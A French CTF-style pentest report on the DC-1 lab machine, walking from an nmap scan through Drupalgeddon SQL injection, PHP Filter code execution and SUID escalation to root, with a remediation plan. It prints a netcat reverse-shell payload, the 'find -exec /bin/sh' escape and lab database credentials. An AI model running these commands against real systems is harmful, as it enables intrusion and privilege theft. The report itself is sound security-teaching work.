Audit de Sécurité DC-1

Analyse complète d'une machine vulnérable (CTF) : de la reconnaissance à l'élévation de privilèges (root).

Critique Pentest Rapport Pédagogique

Contexte & Périmètre

  • Cible : DC-1 (192.168.79.128)
  • Attaquant : Kali Linux (192.168.79.129)
  • Réseau : Host-Only (VMware)

Audit réalisé en "Black-box" (sans information préalable). L'objectif est d'identifier les vulnérabilités exploitables pour obtenir un accès initial et élever les privilèges.

Méthodologie

1. Reconnaissance

Scan Nmap, identification OS & Services.

2. Énumération

CMS (Drupal 7), robots.txt, versions.

3. Exploitation

Injection SQL, RCE, Reverse Shell.

4. PrivEsc

SUID Binary (/usr/bin/find) -> Root.

Vulnérabilités Identifiées

6 failles majeures découvertes, permettant une compromission totale.

CRITIQUE F1 - Drupalgeddon (CVE-2014-3704)

Injection SQL

Vulnérabilité dans Drupal 7.x (< 7.32) permettant une injection SQL via le formulaire de login. A permis de créer un compte administrateur sans authentification préalable.

Exploit : 34992.py

Description & Impact

La faille CVE-2014-3704 (Drupalgeddon) est une injection SQL critique présente dans Drupal < 7.32. Elle permet à un attaquant non authentifié de manipuler la base de données, menant ici à la création administrative d'un compte.

1 Identification

L'analyse du code source de la page d'accueil révèle la version du CMS via la balise meta Generator.

Display: <meta name="Generator" content="Drupal 7..." />
Flag : 7
Identification Drupal 7 Source Code

2 Recherche d'Exploit

Recherche dans la base de données Exploit-DB via searchsploit. Un exploit Python (SQL Injection) correspondant à "Drupal 7.0 < 7.31" est identifié.

Path: php/webapps/34992.py
Récupérer l'exploit sur Exploit-DB
Searchsploit Result

3 Exploitation

L'exécution du script Python cible l'URL de la machine. L'injection SQL réussit et crée un nouvel administrateur.

Exploit Execution
User: USERACREER | Pass: PASSWORDDUUSERACREER

Remédiation

  • Mettre à jour Drupal vers une version >= 7.32.
  • Appliquer les correctifs de sécurité officiels.
  • Désactiver toute instance vulnérable.

CRITIQUE F2 - RCE via PHP Filter

Exécution de Code

Le module "PHP Filter" activé permet d'exécuter du code PHP arbitraire. Combiné au compte admin (F1), cela a permis d'obtenir un Reverse Shell.

<?php system("nc -e /bin/bash ..."); ?>

Description & Impact

Le module PHP Filter de Drupal permet d’exécuter du code PHP directement depuis le contenu (articles/pages) lorsque le format "PHP code text format" est activé. Une fois administrateur (via F1), un attaquant peut activer ce module pour injecter des commandes système.

Impacts critiques :
  • Exécution de commandes système (id, whoami...).
  • Obtention d'un Reverse Shell (accès complet).
  • Compromission du serveur (pivot, lecture de fichiers sensibles).

1 Activation & Injection

Activation du module PHP Filter et de la permission "Use the PHP code text format". Ensuite, création d'un article contenant un payload PHP simple pour tester l'exécution.

<?php system("id"); ?>
Creation Article PHP

2 Accès au fichier /etc/passwd

Accéder au fichier /etc/passwd :

Grâce à la commande suivante, on peut avoir accès au dernier utilisateur du fichier /etc/passwd :

Flag : flag4
Lecture Passwd

3 Reverse Shell (Netcat)

Preuve / exploitation observée — Obtention d’un shell via netcat (RCE)

Afin de démontrer l’impact concret de l’exécution de code obtenue via PHP Filter, une connexion shell interactive a été établie depuis la machine d’attaque. Depuis un contenu Drupal exécutant du PHP, une commande système a été lancée afin d’ouvrir un écouteur netcat sur la cible et d’exécuter un shell bash :

Depuis la machine Kali, une connexion netcat a ensuite été initiée vers la cible sur le même port, permettant d’obtenir un shell sous l’utilisateur du serveur web (www-data) :

Netcat Shell

4 Vérification post-exploitation

Une fois le shell fonctionnel, l’accès au système de fichiers de l’application a été vérifié par l’exécution de commandes standards (ex. ls, pwd) et par la lecture d’un fichier accessible depuis le contexte web, confirmant l’impact de la compromission.

Shell Verification

Remédiation

  • R3 : Désactiver/supprimer le module PHP Filter.
  • R4 : Interdire la permission "Use the PHP code text format".
  • R5 : Durcir le serveur web (permissions, séparation des secrets).
  • Auditer les journaux d'administration.

MODÉRÉ F3 - Divulgation robots.txt

Fuite d'informations

Le fichier robots.txt liste des répertoires sensibles (install, modules...) facilitant la reconnaissance.

Description & Impact

Le fichier robots.txt est destiné aux robots d’indexation, mais il est public. Lorsqu’il contient des chemins internes (répertoires, modules, scripts…), il peut fournir à un attaquant une cartographie de l’application et faciliter l’énumération de ressources intéressantes.

Impacts :
  • Réduction du temps de reconnaissance pour un attaquant.
  • Découverte plus rapide de répertoires techniques (modules, scripts, includes…).
  • Aide au ciblage d’attaques sur des endpoints spécifiques.

1 Accéder au fichier robots.txt

Je suis arrivé à accéder au fichier robots.txt.

Le fichier robots.txt contient souvent des directives pour les robots d’indexation, mais il peut aussi donner des indices sur des répertoires sensibles ou non indexés.

Flag : 10
Contenu robots.txt

Remédiation

  • Éviter d’indiquer des chemins sensibles ou inutiles dans robots.txt.
  • Rappeler que robots.txt ne protège rien : sécuriser réellement via contrôle d’accès, permissions et durcissement.
  • R6 : Réduire la fuite d’informations dans robots.txt et s’assurer que les zones sensibles sont protégées par des contrôles d’accès réels.

MODÉRÉ F4 - Service rpcbind

Service exposé

Le port 111 (rpcbind) est exposé inutilement sur l'interface publique, augmentant la surface d'attaque.

Description & Impact

Le service rpcbind (port 111) est utilisé pour les services RPC (souvent liés à NFS). Lorsqu’il est exposé sans nécessité, il augmente la surface d’attaque et peut faciliter l’énumération de services RPC accessibles.

Impacts :
  • Augmentation de la surface d’attaque réseau.
  • Possibilité d’énumérer des services RPC et d’exploiter des mauvaises configurations associées.

1 Reconnaissance (Scan Nmap)

Dans le cadre de la phase de reconnaissance, un scan des ports a été réalisé sur la machine cible 192.168.79.128 afin d’identifier les services accessibles à distance.

Le scan met en évidence plusieurs ports ouverts, dont 111/tcp associé au service rpcbind.

Scan Nmap Port 111

Remédiation

  • Désactiver rpcbind si inutile.
  • Sinon, limiter l’accès par pare-feu (seulement IP autorisées) et désactiver les services RPC non requis.
  • R7 : Désactiver rpcbind si non nécessaire, sinon filtrer strictement l’accès.

CRITIQUE F5 - Escalade de Privilèges (SUID)

Root Access

Le binaire /usr/bin/find possède le bit SUID root.

find . -exec /bin/sh \;

Description & Impact

Sur la machine DC-1, certains binaires possèdent le bit SUID (Set User ID). Lorsqu’un binaire est SUID et appartient à root, il s’exécute avec les privilèges root, même s’il est lancé par un utilisateur non privilégié. Dans ce contexte, le binaire /usr/bin/find est configuré en SUID root. Or, find permet d’exécuter une commande via l’option -exec. Cela rend possible l’exécution d’un shell avec les droits root.

Impacts critiques :
  • Obtention d'un shell root.
  • Accès total en lecture/écriture sur le système.
  • Persistance et compromission totale de la machine.

1 Énumération (Recherche SUID)

Après obtention d’un shell sur la cible avec un compte non privilégié (www-data), une phase d’énumération locale a été menée afin d’identifier des vecteurs d’élévation de privilèges.

Une recherche des binaires possédant le bit SUID a été effectuée : Le résultat met en évidence plusieurs binaires SUID, dont /usr/bin/find. Ce binaire est particulièrement critique car il permet d’exécuter une commande via l’option -exec.

Recherche SUID find

2 Exploitation (Shell root)

L’exploitation a consisté à lancer un shell via find, ce qui ouvre un shell root.

Si find est SUID root, l’exécution d’une commande via -exec s’effectue avec les privilèges root.

Exploit SUID find

3 Confirmation (Accès Root)

Le flag se trouve en /root/thefinalflag.txt.

Accès Root confirmé

Remédiation

  • Retirer le bit SUID de /usr/bin/find (et de tout binaire non nécessaire).
  • Appliquer le principe du moindre privilège et une politique de durcissement.
  • R8 : Supprimer le bit SUID/SGID des binaires non indispensables.
  • R9 : Mettre en place un audit régulier des SUID/SGID et une baseline de durcissement.

IMPORTANT F6 - Fuite MySQL

Fuite d'informations

settings.php contient les paramètres de connexion à la base de données (user/pass) en clair, permettant l'accès aux données.

Description & Impact

Les fichiers de configuration sensibles, comme settings.php dans Drupal, contiennent souvent des identifiants (utilisateur et mot de passe) pour la connexion à la base de données. S’ils ne sont pas sécurisés (droits en lecture trop larges), ils peuvent être lus par un utilisateur local non privilégié (ou via une LFI), entraînant la compromission les données.

Impacts :
  • Fuite d'identifiants de base de données.
  • Accès aux données utilisateurs (vol de données).
  • Possibilité de modification ou suppression de données.

1 Découverte (Recherche Fichiers Conf)

Lors de l’énumération post-exploitation, une recherche des fichiers de configuration standards de Drupal a été effectuée. Le fichier sites/default/settings.php a été localisé.

Localisation settings.php

2 Connexion MySQL

La lecture du fichier a permis d’extraire les identifiants de connexion à la base de données MySQL.

User : dbuser
Pass : R0ck3t
Connexion MySQL

3 Identification des databases

Les identifiants récupérés ont permis de se connecter au serveur MySQL et de lister les tables de la base de données Drupal, confirmant l’accès aux données.

Identification Database

4 Extraction de données

Pour démontrer la criticité de l'accès, une requête SQL a été exécutée pour extraire le contenu de la table users. Cela a permis l'exfiltration des noms d'utilisateurs et de leurs empreintes de mot de passe (hashes).

Extraction Données

Remédiation

  • Restreindre les permissions sur settings.php (600 ou 640).
  • Ne pas stocker de mots de passe en clair si possible (utiliser variables d’env).
  • R10 : Sécuriser les fichiers de configuration (permissions strictes).

Plan de Remédiation

Actions correctives recommandées par ordre de priorité.

Priorité Action Objectif Cible
Immédiat Mise à jour Drupal (>= 7.32) Combler l'injection SQL (CVE-2014-3704) F1
Immédiat Retirer bit SUID de /usr/bin/find Empêcher l'élévation de privilèges root F5
Court terme Désactiver PHP Filter Supprimer la possibilité de RCE via le CMS F2
Court terme Restriction accès settings.php Protéger les secrets de la base de données F6
Moyen terme Durcissement (Hardening) Nettoyer robots.txt, filtrer rpcbind... F3, F4

Conclusion de l'audit

La machine DC-1 présente un niveau de risque critique. L'absence de mises à jour de sécurité et une mauvaise configuration des permissions système ont permis une chaîne d'attaque complète : de l'accès web initial jusqu'au contrôle total (root) du serveur.

L'application stricte des correctifs proposés est indispensable pour garantir l'intégrité du système.